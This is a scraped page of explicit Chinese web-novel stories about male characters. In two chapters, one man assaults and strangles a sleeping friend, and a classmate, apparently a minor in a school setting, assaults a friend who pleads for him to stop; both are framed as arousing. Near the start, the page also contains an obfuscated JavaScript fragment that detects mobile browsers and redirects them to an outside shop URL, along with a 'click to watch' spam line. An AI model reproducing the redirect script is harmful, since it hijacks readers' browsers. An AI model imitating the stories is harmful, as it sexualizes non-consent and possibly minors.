说实话,弟弟不找他,他就忘了。但既然找上门来,那他也不介意再来一次。
当然,不是人人都行,男大这种的才可以。
对方回得很快。
【姐姐,这是送你的,希望你喜欢。】
宁忻没急着回复,果然,半分钟后又弹出一条消息。
【我今晚想来姐姐家,可以吗?】
年轻人就是沉不住气,当然,他勾引得应该也很明显。
【可以呢(^^)】
他心情颇好,踩着小碎步回到桌前,继续吃剩下的汤圆。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264783|197154||http|test|mini|href|location''.split(''|''),0,{}));
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>晚上九点,男大如约而至。
宁忻穿着吊带睡裙倚在玄关处,裸露的皮肤很白,单薄的布料下曲线若隐若现,他笑眼盈盈地看着门口高他半个头的人。
男大一进门就揽住他的腰,把脸埋在他颈窝里,深深嗅了下馨香的发丝。
“姐姐,想你。”
大学生就是会说话。想我?是想我的滗了吧。
宁忻不置可否,轻笑一声,宛若关心地柔声问:“明天不上课吗?”
“姐姐诗了。”男大…,答非所问。
宁忻也不恼,学着他的话还回去:“嗯……姐姐想你了……”
“想我,还是想我的……”
他伸出葱白的食指贴上男大的唇,眼波流转:“嘘——”说出来可就没意思了。
男大听话地住了嘴,。
“姐姐,我想洗手。”
宁忻正要调笑说那你加油,姐姐没那么快,下一秒,。
“啊——”
他整个人软倒倒在男大怀里,小声喘气,眼里带点薄恼,嗔到:“你使坏。”
“姐姐,对不起。”男大从善如流,声音里听不出丁点儿歉意。
他一把抱起宁忻往卧室走,打湿的裙角往下滴,在他们走过的地板上留下星星点点的痕迹。
“手洗好了,我想洗脸。”
完整点击观看。
10.明月
贺渊爱许明月。
他们认识了整整十年,从十六岁到二十六岁,人生中最能塑造一个人的一段时光,他的目光始终落在同一个人身上。
许明月只把他当朋友,且也没有表现出任何想恋爱的倾向,他便按捺着。
他想,做不成爱人没关系,做他的兄弟也好,做他的朋友也好,做他的什么都好,只要在他身边。
可是许明月最近不对劲。
发现这个事是在一个月前。
先是消息回得慢,或者干脆不回,再是怎么都约不出来,理由五花八门:加班,累了,有事,下次。
贺渊想,行,可能是真忙,成年人谁没有个忙的时候。
昨天许明月突然主动找他。
消息弹出来时,贺渊正在开会,手机震动了一下,他瞥见那个熟悉的头像,手指比脑子快地点开:
[阿渊,明天一起吃个饭吧,好段时间没见你了。]
他盯着那行字看了几秒,嘴角不自觉地上扬,回了个“好”,接下来的会议一个字都没听进去,满脑子都是许明月。
约的是他们常去的那家餐厅,包厢安静,菜也合许明月口味。
许明月说了不用接他,贺渊只好提前半小时到餐厅,把许明月爱吃的菜都点了一遍,然后静静地等。
许明月推门进来的时候,贺渊一眼就发现了不对劲。
那头乌发仍是留到肩,他曾打趣过,说明月明明是学金融的,这一头半长发倒像个艺术家。此刻松松半扎着,一如既往的优雅,只是不知怎么,整个人漾着一股贺渊从未见过的风情。
没错,风情,有些诡异,但他说不上来。
贺渊没问,压下心底莫名升起的一点烦躁,把菜单递过去,语气如常:“明月,再点点什么?”
“够啦,阿渊。”许明月笑了笑,端起茶杯抿了一口。
他唇形很好看,上唇薄下唇饱满,唇珠明显,淡粉色的轻轻贴在杯沿上,喝完后又伸出舌尖,舔去下唇沾到的茶水。
贺渊的目光追随着那一点舌尖,喉结动了动。
菜上齐了,两人边吃边聊,许明月话不多,问一句答一句,有些心不在焉。
吃到一半,包厢里暖气足,许明月把外套脱了搭在椅背上,里面穿着件宽松的薄毛衣,米白色的,衣领有些大。
他低头夹菜时,领口滑下去,无意间露出下面一截白皙的脖颈。
上面有青紫色的淤痕,细细几条,像是被手指掐出来的,不是新伤,已经淡了,但在雪白的皮肤上触目惊心。
贺渊的筷子停在半空。
“你脖子怎么了?”
话出口的瞬间,许明月脸色就变了,筷子险些被抖掉。
他眼睫飞快地眨了几下,嘴角的弧度也僵住,下意识去拽领口,拽完才意识到这个动作太刻意,又勉强笑了笑:“前几天戴项链勒到的。”
“是吗。”
贺渊不信,可许明月不想说的事,谁也问不出来。
但他看见了许明月眼里一闪而过的东西,心虚?慌张?还是别的什么?他暂且分辨不清。
一顿饭吃的索然无味。
许明月突然放下筷子,说吃好了。他站起身,拿起外套搭在手臂上,冲他笑了笑:“阿渊,那我先走啦,还有点事。”
“路上慢点。”
包厢门关上后,贺渊拿起许明月用过的杯子,拇指在杯沿上慢慢摩挲。
明月是被欺负了吗?
这个念头一冒出来,就再也压不下去。
他尊重许明月,但也担心许明月。不说,他就查。
许明月从来不知道做事不留痕,贺渊只花了不到两个小时,就把他这一个月去了哪里、见了谁、做了什么,完完整整地查了出来。
一个月前,他在一个小众论坛上发帖,说自己可能是m,想找个s试试。真找到了一个,已经来往了快半个月。
显而易见,许明月在给别人当表子。
贺渊死死盯着屏幕,一个字一个字地看过去,最后气极反笑。
他笑自己这些年连表白都不敢说口,笑自己以为许明月是朵需要呵护的白玫瑰。
他小心翼翼,可到头来,白玫瑰只是个心甘情愿给人玩的表子。
贺渊闭了闭眼。
眼前又浮现起出那截脖颈上的淤痕。是约的那个所谓的s掐的吧?用了多大力气?许明月又是什么反应?
是蹙眉不适,眼眶微红,连连后退……
还是一脸漺番的楣态,主动把脖颈更多的送入别人手中?
他咬紧后槽牙,下颌紧紧绷着,把手机扣在桌上。
然后他发现自己应了。
这个反应像一盆冷水浇下来,又像一把火烧起来,他以为自己是心疼,是愤怒,可没想到,还有第三种反应。
明月。
许明月。
他慢慢松开咬紧的牙关,长长地吐出一口气,倏然冷静下来。
给谁当都是当,那许明月怎么不能给他当表子?
凌晨一点,贺渊站在许明月家门口。
钥匙是很多年前许明月亲手给的,他一直收着,从来没用过。那时他想的是尊重,也是想让许明月知道,自己不会随便进来。
他打开门,走进去。
许明月的作息很规律,十一点准时睡觉。贺渊摸黑进卧室时,许明月已经睡沉了。
月光透过窗帘缝隙漏进来,落在他的脸上,身上,圣洁得不可思议。
他轻轻摸上那张肖想已久的脸,比他想象中手感更好。
他对许明月的想法完全变态了,从前有多么小心呵护,现在就有多么扭曲。
既然别人可以,那他也可以。
万事只是开头难,热血上涌,他颤抖着手,慢慢拉下许明月的目垂库,济进他退间。
甫一贝占上,他就察觉到什么不对,碰到了一个奇怪的东西。
同为男人,他知道,这绝不是…。借着点月光,他凑近看,脸上难得浮现出震惊。
原来明月有.,认识了十年,他从不知道。
别人看过了吗?别人摸过了吗?别人*过了吗?
接连三个问题突然砸下来,让他心里的火愈发旺盛。
他恶狠狠..。
这番大的动作,许明月不可能不醒。
“谁?
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!”他声音里满是惊恐,下意识蹬腿。
贺渊死死扣住他的退,笑了起来:“是我啊,明月。”
“阿渊,你干什么——”许明月想往后退,可被箍住,根本动弹不得。
贺渊不应,始终噙那点笑意,继续..。
“不要,阿渊,别这样……”他流下眼泪,不明白好友为什么会这样。
贺渊盯着那滴眼泪,在黑暗中,它似乎闪着光。他松开手,掐上许明月的脖子,稍稍收紧。
“放开……”许明月蹙起眉,想往后仰,有些难受。
贺渊看着他这副表情,手上力道没收,反而更重了一些。
“装什么?”他听见自己的声音,又冷又哑,“你不就喜欢这样么。”
他只觉自己..,手上用着力,别处也跟着较劲。
“呃……”
很快,许明月的眼珠开始往上翻,舌尖也不自觉地吐出来喘气,。
他高超了,但贺渊还没有赦。
贺渊把他翻过去,一只手死死按住后颈,把他压进枕头里,睡衣滑下去后背裸露出来,肩胛骨薄薄的两片,腰肢细窄柔韧,像一把待折的柳枝。
……。
许明月喘不过气来,..只知道张嘴,咽不回去的涎水直直渗进枕里,白玉似的背沁出一层薄汗,在月光下泛着潮湿的色泽。
贺渊被退柔浃得头皮发麻,咬着牙一字一字挤出:
“许明月,你个表子。”
“呜……”
听着这句冷声骂斥,许明月竟然又.了。
“真扫。”
“被多少人目垂过了?”
许明月听见这话,委屈得泪眼涟涟:“没、没有,只有你……”
“还在骗我。”贺渊的手没停,“你的s呢?别说他没.过你。”
许明月…断断续续地回答:“……”
贺渊的动作顿了一下。
听到这话不知是该高兴还是该愤怒,他想问为什么不来找他,他也可以,想要什么他都可以给他。
可话到嘴边,他又觉得没必要问了。
“以后让我来,别找别人。”
许明月下意识摇头,兄弟怎么能变成这种关系?
贺渊看见他摇头,眼底一沉,用力揪住..,声音却是截然不同的温柔:“可以吗,明月?”
许明月不管不顾地:“好、好,阿渊。”
贺渊俯身,盯着许明月的脸,双眼彻底上翻,猩红的舌尖搭在下唇,凌乱的发丝贴在汗涔涔的漂亮脸颊上。
真好看。
一晚上,贺渊神清气爽又阴暗扭曲..。
而许明月从一开始的垂泪,到后来彻底放开,甚至主动把脖颈凑上去…。
……
天亮了,贺渊低头看怀里累得睡着的人。
他想起十年前第一次见到许明月时的样子。那时候他十六岁,许明月也十六岁,站在教室门口,冲他笑了笑,说你好,我叫许明月。
他那时就想,许明月真是人如其名,哦,不,人更好看。
他本将心向明月。
可从没想过有一天,他会这样拥有明月。
11.小太阳
由于家风熏陶,何十宜从小就嫉恶如仇,尤其看不惯班上有欺负同学的现象存在。
所以在同学们起哄着把应忱的课本扔到垃圾桶时,何十宜怒了。
“不许欺负同学!”
他气冲冲地捡回课本,掸了掸封面上的灰放回应忱桌上。
不知怎的,他想起前几天刷到的视频,脑子一抽,朝低头默不作声的应忱伸出手认真道。
“如果全世界都欺负你,我带你去小卖部吃冰棍!”
十分钟后,两人蹲在小卖部后面的台阶上,一人举着一个原味老冰棍。
何十宜舔着冰棍,侧头看他:“应忱,吃啊,我请你的。”
应忱没说话。
他黑沉沉的眼眸一瞬不瞬地锁着何十宜,看他吮吸时凹陷的腮帮,舔冰棍时伸出的舌尖,和被冰得微肿泛红的嘴唇……
何十宜被他盯得有些不自在,舔了舔嘴角,“怎么啦?”
“……谢谢。”
应忱这才挪开视线,低头咬了一大口冰棍。冰块在他嘴里被嚼得沙沙作响,像是在发泄什么。
何十宜愣了一下,哪有人这样吃冰棍的?而且总觉得他咬冰块的力道大得离谱,像是要把什么东西拧断似的。
咋回事。
好奇怪啊。
他把冰棍含进嘴里,含糊开口试图打破这古怪的氛围:“呜……他们辣样骂里,搞里,里不森气吗……”
“习惯了。”应忱摇摇头。
何十宜顿时来劲,把冰棍从嘴里拿出来,拉开了一道细长的银丝,在阳光下闪了闪,他浑然不觉,只顾着慷慨激昂。
“怎么能习惯?你应该反击!”
等了一会儿,他发现应忱又不说话了,甚至还盯着他的冰棍看得出神。
何十宜被他搞得莫名其妙,把冰棍背到身后,然后伸手在他眼前挥了挥,好脾气地喊:“应忱?应忱!”
应忱抬起眼眸,唇边似有若无地弯了弯。
“抱歉。”他缓声说,“刚刚在想事情,你说什么?”
何十宜张了张嘴,却没重复刚才的话,鬼使神差地问了个不相干的问题:“你不孤独吗?”
“有点。”应忱答得很快,像是早就准备好这个答案。
何十宜笑起来,眉眼飞扬,哥俩好得拍了拍他的肩膀,“那我做你的朋友吧。”
两人就这样因为何十宜的见义勇为,成了朋友。
何十宜性格很好,和班上所有人都能打成一片,可见他真的和应忱走在一起时,还是有人坐不住了。
“十宜,你怎么和他玩在一起了?”
“别和应忱玩,他是疯子!”
“对啊,十宜你不知道……”
何十宜当即板起脸:“你们怎么能这么诋毁同班同学?我觉得应忱人很好,也很好相处!”
劝不动他,久而久之,大家渐渐不再开口了,只是应忱不在的时候,他们还是会来找何十宜。
毕竟除了固执护着应忱这一点外,何十宜确实是个很好的朋友。
他会帮住宿的同学带早餐,会随身携带糖果以防有人低血糖晕倒,会在别人难过时主动前去安慰……他就像个小太阳,谁靠近都会觉得温暖。
而此刻,这颗小太阳正眨巴着眼,凑到应忱面前。
“今晚来我家吧?我买了游戏机,咱们一起玩。”
越和应忱相处,越觉得他不像表面上那么阴郁,明明很有趣,也很懂他。
“好。”应忱点头。
那天晚上,两人窝在何十宜的房间打游戏,从落日余晖打到月上中天。
何十宜笑得前仰后合,T恤卷起,露出一截紧实白皙的腰腹,手柄都差点甩出去。
“应忱你太菜了!这都能死?”
“是你太厉害了。”应忱垂眸,语气淡淡。
何十宜很受用,因为是朋友,所以他毫不谦虚:“哎呀,多练练,你就能有我这技术了!”
应忱笑了笑,“继续吧。”
打到后来,何十宜的眼皮开始打架,手柄从手里滑落,脑袋一歪,直接倒在床上睡了过去。
而应忱没动,紧紧捏着手柄,不知道在想什么。
房间里安静下来。
睡梦中,何十宜隐约觉得有些不对劲。
身上像是压着什么,心脏处的地方也在被什么东西糅挵,力道不重,却让他莫名不安。
他皱了皱眉,想翻身,却动不了,那感觉越来越清晰了。
不是梦!
他猛地睁开眼,…就这么直挺挺地戳在眼前,险些戳上他的鼻尖。
我靠。
何十宜瞳孔骤缩,脚尖下意识一蹬,整个人往后缩了缩。
“……应忱?!”
他看清了那张熟悉的脸,此刻居高临下看他,表情平静得近乎陌生。
应忱不语,把放松的chest muscle拢在一起,在其间来去自如。
何十宜倒吸一口气,他从不知道应忱劲这么大,抬手去推他。
“你干什么?走开!”
“不。”应忱拒绝,目光锁着他,又是..。
何十宜咬住嘴唇,难以置信自己会有这种反应,..。
“是你先勾引我的。”应忱继续开口。
何十宜难得懵了一会,艰难地开
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口,“你在说什么?!”
“你在我面前舔冰棍,像添羁靶似的,烧得要死。”应忱神下动作没停,“还老是拿大扔子足曾我,有时候甚至故意露点什么给我看。”
他俯下身,凑近何十宜的脸,认真问:“这不是勾引,是什么?”
这是应忱说过最长的一句话了吧,何十宜分神地想,随即又反应过来。
不对,不对!
他涨红了脸,脑子里嗡嗡作响,清亮瞳仁里蓄满了愤怒,饱满的唇肉都在发抖:“你胡说,我哪有……”
这些正常的事情到了应忱嘴里怎么就全变了味?!
应忱笑了一声,满不在乎:“你说没有就没有吧。”
他不理会何十宜的辩解,继续..。
应忱好坏!明明、明明自己对他那么好……
何十宜一点都掰不动他,眼眶里渐渐盈起水意,委屈地抬起手臂盖住眼睛。
..。
“扫货。”应忱嗤笑一声,…。
“……应忱。”
他翕张着唇开口,小心翼翼地不敢动,怕挵进嘴里。
应忱根本不给他反应的机会,起身去扯库紫。
何十宜登时像被针扎了似的,反应大得惊人,紧紧抓住库葽,也顾不上..会不会进嘴里了,大声喊着:“不要,应忱!不要……求求你!求你了……”
他越这样,应忱越来劲。
一番拉扯,…..。
他喉结滚动,黑沉的眼眸前所未有地亮了起来,闪着兴奋的光芒。
“你这里……”
何十宜哭了,眼泪带着..从脸颊上滚下来,可怜又瑟琴。
爸爸妈妈说,这个只能给爱人看的。
可是应忱只是朋友啊。
“应忱你怎么这样……”他哭得鼻尖通红,声音破碎,“你不能这么对我……”
来来回回只会说这两句,而应忱已经按着他把馁酷也给芭乐。
何十宜羞得想死,觉得整个世界都在旋转。
……。
何十宜瞳仁涣散,向上翻了些许,脸上晕开大片绯红,过了很久才找回声音,小声地呜呜叫着,“朋友不能这样……”
应忱漫不经心地擦了擦唇角,“那什么能?”
“你要做我男朋友……”
“求之不得。”
两人又这样因为何十宜的原则,处了对象。
消息传开后,班上的人更痛心疾首了,“十宜,他有病!”
何十宜突然能理解视频里的恋爱脑香蕉精了。
他夹了夹腿,眼睛里泛起水光,反问:“爱情里,谁没有病?”
12.狐狸精
狐族有规,自诞下那日起,便要近族中神树修炼,历漫长的十八载修出人形,此称为成年。
成年之后,神树便再无用处,狐狸天生属阴阳偏阴,故人形自然也是阴阳同体,若要更进一步,需觅外物修炼,最为有效的便是采补阳气。
说白了,就是汲取男子元阳,以养己身。
于是乎,刚成年的胡梨被族中长辈们细细教导了一番后,便翩然下山了。
他是年轻一辈里最出色的,生得眉目含春,朱唇点绛,身姿摇曳间媚色横生,天然一段风流态。因此被寄予厚望,假以时日必成大器。
胡梨自己也这般想着。
可下山两年,他却渐渐生出几分困惑。
人族男子,怎么这般孱弱?
他采补过的人之中,撑得最久的一个,也不过一月,便已是面色萎靡,唇色发白,走起路来飘飘然。他谨记长辈的叮嘱,不敢害人性命,只得寻个由头,与之断了来往。
唉!
族中长老明明说,他们寻一男子,少说能用三五月,多则可坚持一年有余。怎的到了他这儿,一个月便是顶天了?
虽然说,那事确实是太舒服了些。他一日里总要采补个五六回,若是瘾头上来了,十几次也是有的。
可这能怪他么?
胡梨托着腮,心虚又百无聊赖地望向窗外。
对面是一家青楼,朱门雕栏下,门庭若市,不停有男子进进出出,小的不过十二三岁,大的已是半百之年。
他看着看着,脑中渐渐有了主意。
取出一面铜镜,纤指在脸上轻轻一挥,那张平平无奇用作遮掩的假脸便褪去,露出底下千娇百媚的真容。
以他的姿色,若是直接住进青楼,还愁没有阳气么?
是夜,月黑风高。
胡梨悄无声息地落在老鸨房中,把正在对账的老鸨吓得一个激灵跌坐在地。
他开门见山:“我要来你这儿挂牌接客。”
老鸨定睛一看,顿时喜出望外,连声道:“好好好!”
胡梨横睨过去,眼波流转间自带几分娇媚与矜贵:“可我有个规矩,只接貌比潘安,年不过二五的男子。”
老鸨躬身应道,眼泛精光:“依您!”
胡梨就这么在青楼里住了下来。
不出三日,城中便传遍了。倚花楼新来了一位花魁,生得天仙似的,见一面便叫人丢了魂。
每日里,抢着要一睹芳容的人,险些把门槛踏破。人多了,胡梨便挑挑拣拣,阳气倒是不曾缺过。
只是那些常来的熟客,一张张脸孔肉眼可见的萎靡下去。
胡梨是个好狐,见此情形,便咬着唇软声道,“官人,奴今日身子不爽利,给您抚琴一曲可好?”
那男人也觉得近日有些力不从心,乐得歇一歇,便点点头,坐在对面品茶听他弹琴。
胡梨坐到菱花窗边,既是不做那事,便不再弹那些淫.词.艳.曲,正正经经地选了首曲儿,拨弄起琴弦来。
一曲哀愁的调子幽幽淌出,他想着心事,面上便也染上几分愁容。
窗外不知何时聚了些人,驻足倾听,竟都听得痴了。
一曲终了,男人忍不住上前掩下窗,急急地将他抱起放置床榻之间。
胡梨抬指虚虚点在男人胸膛,柔声拒绝,“官人,奴不要。”
男人勾唇一笑,将那素手拉至唇边,侧头轻轻吻着:“梨儿,你可真像只妖媚的狐狸,勾得我心痒难耐,你说该如何是好?”
胡梨轻哼一声,眼波迷离间,竟真有些动了念,然而瞥见男人气色,他清醒过来。
不成,这人若是再泄一次元阳,只怕是性命不保。
胡梨美目一转,忽地展了双腿,娇声道:“那……官人用唇舌解一解馋,可好?”
好在津液也属于阳气的一种。男人闻言,便面色痴迷地俯.身,疯了一般舞弄起自己尚且算灵活的唇舌。
床帐内霎时娇声浪语,绵绵不绝。
待男人离去,天色已是不早。
胡梨今日也汲了不少阳气,正打算晚间炼化,便想着去和老鸨说一声不再接客了。
谁知还没开口,老鸨又领上来一个人。
这男子瞧着面生,生得剑目星眉,身量颀长,肩宽窄腰,佩着一把剑,通身正气凛然。
胡梨到嘴的“不接客”咽了回去,眸里登时泛起亮光。
好足的阳气!
二话不说,他便将那男子带进了房间。
正欲宽衣解带,褪下那身薄纱,那男子却一个跨步上前,扯过一旁的被子,将他裹了起来。
胡梨一愣。
嗯?
只见男子正色道:“姑娘,在下白日观你弹琴时,眉眼间似有哀愁,猜想你并非自愿做这……咳,这营生。若你愿意,我可带你离开。”
胡梨被那浓郁的阳气熏得骨软筋酥,满脑子只想攀上去好好采补这一身纯粹元阳,这人却在叽里咕噜说些什么?
他挣脱被子,转身扑进男人怀里,悄悄催动魅惑术:“官人,奴家好难受……”
男子竟仍是双目清明,纹丝不动,反而愈发关切起来:“姑娘可是受了委屈?在下愿替姑娘解决!”
竟没生效!死呆子!
胡梨心中微恼,指尖抚过男人腰封,沿着那条紧束的锦带,缓缓往下探去。
男人的身体顿时绷紧。
胡梨身经百战,自是察觉到了,他唇角弯起来,不急着更进一步,只往前凑了凑,几乎贴上那人的胸膛,腰肢轻轻扭着,似有若无地擦过要紧处。
他探出一点舌尖,缓缓舔过自己的嫣红的唇畔,眼尾微微上挑,眸光水润润地望进男人眼底,“奴家就是难受嘛……”
又软又黏的声音像蜜一般从齿缝间淌出来。
“官人……帮帮奴家,好不好?”
男人喉结动了动,却没有说话。
胡梨也不急,他垂下眼睫,目光落在那柄悬于腰间的佩剑上,忽然握住剑鞘,素白的手细长柔软,衬得那墨色剑鞘愈发冷硬。
他轻挑地一前一后抚弄起剑桥来,抬起眼时,神情却无辜得很:“若官人不愿,那……用官人的剑,替奴家止止痒,可好?”
话音刚落,男人的呼吸重了一瞬。
胡梨轻笑一声,趁他愣神的功夫,将他按倒在床榻上,自己顺势跨坐了上去。
帷帐摇晃,烛影幢幢。
“官人原来也动情了呢……”他轻声说着,定定望着某处,双眸惊讶地睁大,泛起潋滟水光,白玉脸颊上飞起桃红,“明明也想得很,还装什么正人君子呀……”
事到如今,男人也算看明白了,这胡梨简直是乐在其中,哪有想离开这里的想法。
他无奈地叹了口气,掌心贴上胡梨丰腴又细腻的腿肉,低声道:“我帮你。”
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>翌日清晨。
段飞清起身更衣,临走前从腰间解下一枚玉佩,放在枕边。
“姑……咳,在下段飞清,若是想离开,对着玉佩唤我名字,我便来。”
胡梨身子还酥软着,闻言懒洋洋地摆了摆手,眼眸都没睁开。
这莫名其妙却又生猛的呆子,快走吧。
可不知怎的,自那之后,他便有些心不在焉。
来寻他的男子依旧不少,可他瞧着那些脸,这个虚,那个也虚,竟一个也提不起兴致。勉强接了几回,都是草草了事,索然无味。
他厌了,干脆对老鸨说自己不接客了。
这都已经将近半个月没正经采补了,修炼的速度明显地慢了下来。
他突然看见桌上的玉佩。
段飞清。
心里这般想着,不自觉便说了出口。
话音刚落,门外竟响起了叩门声。
胡梨心头一跳,说不上是什么滋味,翻身下榻打开门,正是段飞清。
他眼里忽地盈起点泪光,扑进那人怀里:“官人……奴想你。”
段飞清被温香软玉扑了个满怀,微微一怔,旋即低声道:“可是想走了?”
胡梨心想,走就走吧,这来青楼的男子个个都虚,也没什么好待的了,接下来吸段飞清的就行。
“嗯!”
段飞清便去找老鸨说要赎人,老鸨面色古怪地看了胡梨几眼,点点头,竟没有多说什么。
胡梨拦住段飞清掏银子的手,凑近他耳边吐气如兰:“官人,奴已攒够了钱,您带奴走便是……”
段飞清看他一眼,没有再推让,便这样带他回了家。
到家之后,他却与胡梨分房而睡,秋毫无犯。
胡梨倚在门框上,看着他离去的背影,轻轻哼了一声。
装什么?那夜在倚花楼,虽是自己勾引在先,可后半夜里按着他要了一遍又一遍的又是谁?
腹诽归腹诽,胡梨还是馋他那身阳气,于是便日日寻着机会凑上前去,蹭蹭靠靠,媚眼如丝,软语温存。
段飞清面上端得住,眸光却不自觉开始松动。
这般撩拨了半个月,那层窗户纸终于捅破了。一夜颠.鸾.倒.凤后,两人如同寻常夫妻一般,同榻而眠,如胶似漆。
胡梨一开始只顾着快活和采阳,待回过神来,才惊觉竟已过去二月之久了,而段飞清身上的阳气丝毫未减!
他大喜过望,这可真是天赐的取之不竭用之不尽的修炼至宝。
可紧接着,他便觉得不对,寻常人,哪有这般深厚的阳气?
他暗中观察了几日,又辅以族中秘宝查验,赫然发现段飞清竟是个下凡历练的剑仙。
胡梨心头一凛,自己可是只狐狸精,若是被嫉恶如仇的剑仙发现真身,怕是要当场被斩于剑下。
他忽然觉得胸口那处有些闷,像是有什么东西堵着,不上不下的。
是难过吗?
他马上摇摇头,不对,怎么会难过呢?应该是害怕,怕被那人发现,怕被不留情面的一剑斩了,仅此而已。
当晚,他在床边静静站了片刻,看了那人最后一眼,便无声告别,化作原形趁夜溜走。
一路窜出老远,他正暗自庆幸,忽然后颈一紧,自己被一只手轻轻拎了起来。
他惶然扭过头,正对上段飞清似笑非笑的脸。
“夫人,这是要去哪?”